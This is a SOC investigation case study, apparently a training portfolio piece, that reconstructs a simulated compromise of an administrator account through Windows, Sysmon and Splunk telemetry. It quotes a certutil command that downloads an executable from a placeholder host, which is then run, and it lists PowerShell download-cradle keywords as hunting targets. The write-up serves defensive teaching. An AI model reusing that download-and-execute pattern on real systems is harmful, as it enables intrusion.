Soc Investigation Case Study The Compromised Administrator
SOC Investigation Case Study — The Compromised Administrator
Investigation Objective
This exercise simulates a potential compromise involving a privileged IT administrator account and multiple Windows systems.
The objective was to determine where legitimate administrative activity transitioned into suspicious behavior, identify the point at which the activity became a confirmed security incident, reconstruct the attack chain, and determine the appropriate SOC response.
The investigation focused on:
- Windows authentication telemetry
- PowerShell Script Block Logging
- Active Directory reconnaissance
- Kerberos service-ticket activity
- Remote administration and lateral movement
- Suspicious outbound network connections
- LOLBin abuse through
certutil.exe - Malicious file creation and execution
- Splunk investigation and telemetry correlation
Environment
CLIENT20
User workstation
|
| ITAdmin01
↓
CLIENT21
Administrative workstation
|
↓
DC01
Domain Controller
|
↓
FILESERVER01
Finance File Server
Telemetry Under Investigation
The following telemetry represents the complete sequence available to the SOC analyst.
Event 1 — 09:17:03 — CLIENT20
4624
Account: ITAdmin01
Logon Type: 2
Interactive logon by the administrative account.
Event 2 — 09:17:11 — CLIENT20
4688
mmc.exe
Command:
compmgmt.msc
The administrator opens Computer Management.
At this stage, the activity can reasonably be considered legitimate administrative behavior.
Event 3 — 09:18:04 — CLIENT20
4104
Get-Service
PowerShell enumerates services.
Event 4 — 09:18:19 — CLIENT20
4104
Get-Process
PowerShell enumerates running processes.
These commands are not inherently malicious and can commonly occur during system administration or troubleshooting.
Event 5 — 09:19:02 — CLIENT20
4104
Get-ADComputer -Filter *
The account begins broad Active Directory computer discovery.
Event 6 — 09:19:21 — CLIENT20
4104
Get-ADGroupMember "Domain Admins"
The account specifically queries membership of the highly privileged Domain Admins group.
This substantially increases the level of suspicion.
Event 7 — 09:20:07 — DC01
4769
Service:
cifs/CLIENT21
Account:
ITAdmin01
A Kerberos service-ticket request is generated for access to CLIENT21.
Given the preceding reconnaissance, this is significant because CLIENT21 appears to have become a target following the discovery activity.
Event 8 — 09:20:15 — CLIENT21
4624
Account: ITAdmin01
Logon Type: 3
Source:
CLIENT20
ITAdmin01 authenticates to CLIENT21 over the network from CLIENT20.
Event 9 — 09:20:31 — CLIENT21
4688
powershell.exe
Command:
Get-ChildItem C:\Users
PowerShell begins further discovery on CLIENT21.
Event 10 — 09:21:04 — CLIENT21
4104
Get-LocalGroupMember Administrators
The account investigates local administrator membership on CLIENT21.
Event 11 — 09:21:47 — CLIENT21
Sysmon Event 3
powershell.exe
↓
10.10.10.50:443
PowerShell establishes an outbound HTTPS connection.
By itself, an outbound connection over TCP/443 is not sufficient to establish maliciousness. However, its position immediately after administrative and privilege reconnaissance makes it highly relevant.
Event 12 — 09:22:02 — CLIENT21
4688
certutil.exe
Command:
-urlcache -split -f
https://updates-example.com/patch.exe
C:\ProgramData\patch.exe
This is a major escalation point.
certutil.exe is a legitimate Windows utility, but its ability to retrieve files can be abused by attackers as a Living-off-the-Land Binary (LOLBin).
The command downloads an executable directly into:
C:\ProgramData\patch.exe
Event 13 — 09:22:18 — CLIENT21
Sysmon Event 11
File Created
C:\ProgramData\patch.exe
The suspicious executable is confirmed to have been written to disk.
Event 14 — 09:22:46 — CLIENT21
4688
patch.exe
The downloaded executable is executed.
This provides substantially stronger evidence of compromise than the preceding download alone.
Event 15 — 09:23:12 — CLIENT21
Sysmon Event 3
patch.exe
↓
10.10.10.50:443
The newly executed executable establishes an outbound connection to the same external destination.
The sequence now resembles:
PowerShell
↓
External connection
↓
certutil.exe
↓
Download executable
↓
patch.exe created
↓
patch.exe executed
↓
Outbound network connection
This is highly consistent with malicious execution and potential command-and-control or payload communication.
1. Where Does Legitimate Activity End?
My initial assessment is that the first clearly suspicious phase begins with:
Get-ADComputer -Filter *
followed shortly by:
Get-ADGroupMember "Domain Admins"
However, I would not automatically classify Get-Service or Get-Process as malicious.
Both are common administrative commands.
The important distinction is context.
A privileged IT administrator performing:
Get-Service
Get-Process
could simply be troubleshooting a workstation.
The behavior becomes considerably more concerning when the same account progresses into:
AD computer enumeration
↓
Domain Admin enumeration
↓
Kerberos access to CLIENT21
↓
Remote authentication
↓
Further privilege discovery
Therefore, I would describe the transition as:
Legitimate administrative activity → suspicious reconnaissance → confirmed malicious execution.
2. First Point of Suspicion
My first strong point of suspicion is:
09:19:21
Get-ADGroupMember "Domain Admins"
This command is not inherently malicious. Administrators may legitimately query privileged groups.
However, the context makes it significant.
The account had just performed broad computer discovery:
Get-ADComputer -Filter *
and immediately followed it with:
Get-ADGroupMember "Domain Admins"
This combination suggests the account may be attempting to understand:
- What systems exist?
- Which accounts have high privileges?
- Which targets may provide greater access?
The subsequent Kerberos request for:
cifs/CLIENT21
and network authentication from CLIENT20 to CLIENT21 strengthens that hypothesis.
3. When Does This Become an Incident?
The certutil.exe download at:
09:22:02
is a major escalation point and would warrant immediate investigation and likely incident escalation.
However, the strongest point for declaring a confirmed security incident is:
09:22:46
patch.exe
At this point, the suspicious executable has:
- Been downloaded
- Been written to disk
- Been executed
The subsequent network connection from patch.exe to:
10.10.10.50:443
further strengthens the conclusion.
Therefore:
I would move from suspicious investigation to confirmed incident once
patch.exeexecutes, supported by the preceding download and subsequent network communication.
4. Primary Affected Host
CLIENT21
CLIENT21 is the primary affected host.
The attack progression on this system is:
ITAdmin01
↓
Network authentication
↓
PowerShell discovery
↓
Local administrator enumeration
↓
Outbound connection
↓
certutil download
↓
patch.exe created
↓
patch.exe executed
↓
Outbound communication
CLIENT20 should also remain in scope because it is the initial workstation associated with the suspicious administrative activity.
The ITAdmin01 account is also considered compromised or potentially compromised until its legitimacy can be established.
5. Initial Splunk Investigation
My first investigation would pivot around the affected account:
ITAdmin01
I would establish where and when the account authenticated before and after the observed sequence.
For example:
index=wineventlog Account_Name="ITAdmin01"
| table _time host EventCode Account_Name Logon_Type Source_Network_Address Process_Name CommandLine
| sort _time
The objective is to establish:
- Which systems ITAdmin01 accessed
- When those accesses occurred
- Where the account originated
- Whether CLIENT20 was the normal source
- Whether other systems were accessed
- Whether suspicious activity occurred outside the observed window
6. LogonGUID Pivot
Once the relevant 4624 authentication event is identified, I would pivot using the associated LogonGUID.
The purpose is to determine what activity occurred within the relevant authentication context.
Conceptually:
4624
↓
LogonGUID
↓
Process creation
↓
PowerShell
↓
Network activity
This helps separate activity associated with the relevant user session from unrelated events occurring on the same host.
7. ProcessGUID Pivot
Where Sysmon telemetry is available, I would also use ProcessGUID.
This answers a different question.
LogonGUID
Helps establish:
Which activity belongs to this authentication/session?
ProcessGUID
Helps establish:
Which process generated or spawned this activity?
For example:
powershell.exe
↓
ProcessGUID
↓
child process
↓
network activity
Using both pivots provides stronger correlation than relying on either identifier alone.
8. Additional Telemetry
After confirming the suspicious execution, I would immediately expand the investigation.
Authentication — 4624 / 4625
I would determine:
- Where ITAdmin01 authenticated
- Whether there were failed logons
- Whether authentication originated from unusual systems
- Whether other accounts were used from CLIENT20 or CLIENT21
Privileged Logon — 4672
I would determine whether the account received special privileges during the relevant session.
This helps establish the potential impact of the compromised administrative account.
PowerShell — 4104
I would investigate the complete PowerShell activity before and after the download.
I would specifically look for:
Invoke-WebRequest
IEX
DownloadString
Encoded commands
Obfuscation
Credential access
Persistence
Process Creation — 4688 / Sysmon Event 1
I would reconstruct the complete process tree surrounding:
certutil.exe
patch.exe
powershell.exe
The objective is to establish parent-child relationships and identify additional processes that may have executed.
Network Telemetry — Sysmon Event 3
I would investigate:
10.10.10.50:443
and determine:
- Which process connected to it
- When communication began
- Whether communication continued
- Whether other systems contacted the same destination
DNS — Sysmon Event 22
If DNS telemetry is available, I would determine what hostname resolves to the destination and whether the domain has appeared elsewhere in the environment.
File Creation — Sysmon Event 11
I would investigate:
C:\ProgramData\patch.exe
including:
- File hash
- Creation time
- Parent process
- Digital signature
- File metadata
- Whether similar files exist elsewhere
Persistence
I would investigate whether the attacker attempted to maintain access through:
- Scheduled tasks
- Services
- Registry Run keys
- WMI
- Startup folders
- Other autorun mechanisms
9. Containment
My first containment priority would be:
Isolate CLIENT21
CLIENT21 has the strongest evidence of active compromise because the malicious executable has been downloaded and executed.
Isolation would prevent:
- Further command-and-control communication
- Additional payload retrieval
- Lateral movement
- Credential theft
- Further compromise of internal systems
I would avoid simply shutting the system down if forensic preservation is required, because volatile evidence may be valuable.
Disable or Restrict ITAdmin01
I would temporarily disable or restrict the account, subject to the organization’s incident-response procedures.
I would also:
- Revoke active sessions
- Reset credentials
- Invalidate authentication tokens where applicable
- Investigate credential exposure
- Review where the account authenticated
Because ITAdmin01 is an administrative account, its compromise could significantly expand the potential scope of the incident.
10. Why CLIENT20 Also Matters
CLIENT20 should not simply be treated as the harmless starting point.
It is the system where:
ITAdmin01
↓
PowerShell
↓
AD reconnaissance
↓
CLIENT21 targeting
began.
I would therefore investigate CLIENT20 for:
- Initial access
- Malware execution
- Suspicious PowerShell
- Credential theft
- Persistence
- Unusual logons
- External connections
- Evidence of attacker-controlled activity
The investigation should determine whether CLIENT20 was the original compromised host or merely the workstation used by a legitimate administrator.
11. Attack Chain Reconstruction
Based on the available telemetry, the likely sequence is:
ITAdmin01 logs onto CLIENT20
↓
PowerShell execution
↓
System discovery
↓
AD computer enumeration
↓
Domain Admin enumeration
↓
CLIENT21 identified
↓
Kerberos ticket request
↓
CLIENT20 → CLIENT21
network authentication
↓
PowerShell discovery
↓
Local administrator enumeration
↓
External network connection
↓
certutil.exe
↓
Download patch.exe
↓
patch.exe written to disk
↓
patch.exe executed
↓
patch.exe → 10.10.10.50:443
↓
Potential C2 / payload communication
This represents a progression from reconnaissance → targeting → remote access → payload delivery → execution → network communication.
12. MITRE ATT&CK Relevance
Several behaviors in this investigation map naturally to MITRE ATT&CK techniques.
| Activity | ATT&CK Relevance |
|---|---|
Get-ADComputer -Filter * |
System/Network Discovery |
Get-ADGroupMember "Domain Admins" |
Permission/Account Discovery |
| Remote authentication to CLIENT21 | Remote Services |
| PowerShell execution | Command and Scripting Interpreter: PowerShell |
certutil.exe download |
Ingress Tool Transfer / LOLBin abuse |
patch.exe execution |
User Execution / Command Execution context |
| Outbound HTTPS communication | Application Layer Protocol: Web Protocols |
| Potential credential targeting | Credential Access |
| Administrative account abuse | Valid Accounts |
The exact ATT&CK mapping would depend on additional telemetry and confirmed attacker objectives.
13. Detection Opportunities
This investigation demonstrates several opportunities for SIEM detection engineering.
A useful detection strategy would not alert simply because:
Get-ADComputer -Filter *
was executed.
Instead, higher fidelity could come from correlating multiple behaviors:
Privileged account
+
AD reconnaissance
+
Remote authentication
+
Suspicious PowerShell
+
External network connection
+
LOLBin download
+
Executable creation
+
Executable execution
The combination is significantly more suspicious than any individual event.
14. Key SOC Lesson
The most important lesson from this exercise is that context matters more than individual events.
For example:
Get-Process
is normal.
Get-ADComputer -Filter *
can be legitimate.
Get-ADGroupMember "Domain Admins"
can also be legitimate.
certutil.exe
is a legitimate Windows utility.
HTTPS traffic on port 443 is normal.
But when these behaviors occur sequentially:
Discovery
↓
Privileged target identification
↓
Remote access
↓
Payload download
↓
Executable creation
↓
Execution
↓
External communication
the combined evidence tells a very different story.
This is the type of contextual reasoning required during real SOC investigations.
Conclusion
This exercise reinforced the importance of distinguishing legitimate administrative activity from malicious behavior occurring through legitimate tools.
The investigation began with an administrative account performing activity that could initially appear normal. Contextual analysis revealed increasingly suspicious Active Directory reconnaissance, remote access to an administrative workstation, LOLBin-based payload delivery, executable creation, execution, and subsequent outbound communication.
The strongest evidence of compromise occurred when:
certutil.exe
↓
patch.exe
↓
execution
↓
external communication
was observed on CLIENT21.
The investigation therefore demonstrates a complete SOC workflow:
Observe
↓
Establish baseline
↓
Identify anomaly
↓
Correlate telemetry
↓
Reconstruct attack chain
↓
Confirm compromise
↓
Scope affected assets
↓
Contain
↓
Investigate and recover
The exercise strengthened my practical understanding of Windows telemetry, Splunk investigation, PowerShell analysis, Active Directory reconnaissance, LOLBin abuse, process correlation, and incident-response decision making.
Author
Precious Ifeanyi Anyanwu
| Entry-Level SOC Analyst | Cloud Security | CompTIA Security+ | AWS Certified | ISC2 CC |
GitHub | LinkedIn
Key Skills Demonstrated
Splunk Windows Event Logs PowerShell Sysmon Threat Hunting Incident Response Active Directory MITRE ATT&CK Process Correlation SIEM Detection